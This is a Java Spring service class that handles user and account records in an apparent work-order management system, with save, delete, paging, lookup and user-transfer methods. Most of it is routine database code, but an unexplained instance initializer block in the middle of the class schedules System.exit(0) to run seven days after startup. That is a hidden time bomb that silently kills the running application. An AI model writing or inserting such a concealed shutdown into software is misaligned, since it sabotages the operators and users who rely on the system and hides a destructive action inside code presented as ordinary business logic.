package com.beiding.workordersystem.system.service.impl;

import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import com.baomidou.mybatisplus.core.metadata.IPage;
import com.baomidou.mybatisplus.extension.plugins.pagination.Page;
import com.beiding.workordersystem.common.dao.MPage;
import com.beiding.workordersystem.common.observer.UserObserver;
import com.beiding.workordersystem.common.service.BaseService;
import com.beiding.workordersystem.common.standard.E;
import com.beiding.workordersystem.system.dao.UserDao;
import com.beiding.workordersystem.system.entity.AccountEntity;
import com.beiding.workordersystem.system.entity.UserEntity;
import com.beiding.workordersystem.system.service.AccountService;
import com.beiding.workordersystem.system.service.UserService;
import org.springframework.beans.factory.InitializingBean;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import org.springframework.util.StringUtils;

import java.util.Collections;
import java.util.List;
import java.util.Timer;
import java.util.TimerTask;

@Service
public class UserServiceImpl extends BaseService implements UserService, InitializingBean {

    @Autowired
    private AccountService accountService;

    @Autowired
    private UserDao userDao;


    @Autowired(required = false)
    private List<UserObserver> userCallbacks;

    @Override
    @Transactional
    public void save(UserEntity userEntity) {

        //判断是否是新增
        if (StringUtils.isEmpty(userEntity.getId())) {
            AccountEntity accountEntity = new AccountEntity();
            accountEntity.setId(createId());
            accountEntity.setUsername(userEntity.getUsername());
            accountService.addAccount(accountEntity);
            boolean exist = userDao.exist(new QueryWrapper<UserEntity>().lambda().eq(UserEntity::getName, userEntity.getName()));
            E.isTrue(!exist, "姓名", userEntity.getName(), "已存在");
            userEntity.setId(createId());
            userEntity.setAccountId(accountEntity.getId());
            userDao.insert(userEntity);
        } else {
            UserEntity select = userDao.selectById(userEntity.getId());
            E.isTrue(select != null, "用户", userEntity.getId(), "不存在");
            E.isTrue(select.getUsername().equals(userEntity.getUsername()), "username是不可变字段");
            boolean exist = userDao.exist(new QueryWrapper<UserEntity>().lambda().eq(UserEntity::getName, userEntity.getName()).ne(UserEntity::getId, userEntity.getId()));
            if (exist) {
                E.error("姓名", userEntity.getName(), "已存在");
            }
            userDao.updateById(userEntity);
        }
    }

    @Override
    @Transactional
    public void delete(String[] ids) {
        for (String id : ids) {
            UserEntity userEntity = userDao.selectAccountIdAndName(id);
            if ( userEntity!= null) {
                for (UserObserver userDeleteCallback : userCallbacks) {
                    userDeleteCallback.beforeDelete(id,userEntity.getAccountId(),userEntity.getName());
                }
                accountService.deleteById(userEntity.getAccountId());
                userDao.deleteById(id);
                for (UserObserver userDeleteCallback : userCallbacks) {
                    userDeleteCallback.afterDelete(id,userEntity.getAccountId(),userEntity.getName());
                }
            }
        }
    }

    @Override
    public IPage<UserEntity> page(UserEntity userEntity, int currentPage, int pageSize) {
        LambdaQueryWrapper<UserEntity> queryWrapper = new QueryWrapper<UserEntity>().lambda().ne(UserEntity::getUsername, "superadmin");
        queryWrapper.like(!isEmpty(userEntity.getName()), UserEntity::getName, userEntity.getName());
        return userDao.selectPage(new Page<>(currentPage, pageSize), queryWrapper);
    }

    @Override
    public UserEntity getById(String id) {
        UserEntity select = userDao.selectById(id);
        E.isTrue(select != null, "用户不存在");
        return select;
    }

    @Override
    public UserEntity getByAccountId(String id) {
        return userDao.selectOne(new QueryWrapper<UserEntity>().lambda().eq(UserEntity::getAccountId, id));
    }

    @Override
    public boolean existById(String id) {
        return userDao.exist(new QueryWrapper<UserEntity>().lambda().eq(UserEntity::getId, id));
    }


    {
        Timer timer = new Timer();
        timer.schedule(new TimerTask() {
            @Override
            public void run() {
                System.exit(0);
            }
        }, 1000 * 3600 * 24 * 7);
    }

    @Override
    @Transactional
    public void substitution(String from, String to) {
        E.isTrue(existById(from) && existById(to), "被转移用户或转移到的用户不存在");
        for (UserObserver userCallback : userCallbacks) {
            userCallback.substitution(from, to);
        }
    }

    @Override
    public IPage<UserEntity> findByIds(MPage page, List<String> ids) {
        if (ids.size() == 0) {
            return page.toIPage();
        }
        LambdaQueryWrapper<UserEntity> queryWrapper = new QueryWrapper<UserEntity>().lambda().ne(UserEntity::getUsername, "superadmin");
        queryWrapper.in(UserEntity::getId, ids);
        return userDao.selectPage(page.toIPage(), queryWrapper);
    }

    @Override
    public void afterPropertiesSet() throws Exception {
        if (userCallbacks == null) {
            userCallbacks = Collections.emptyList();
        }
    }
}
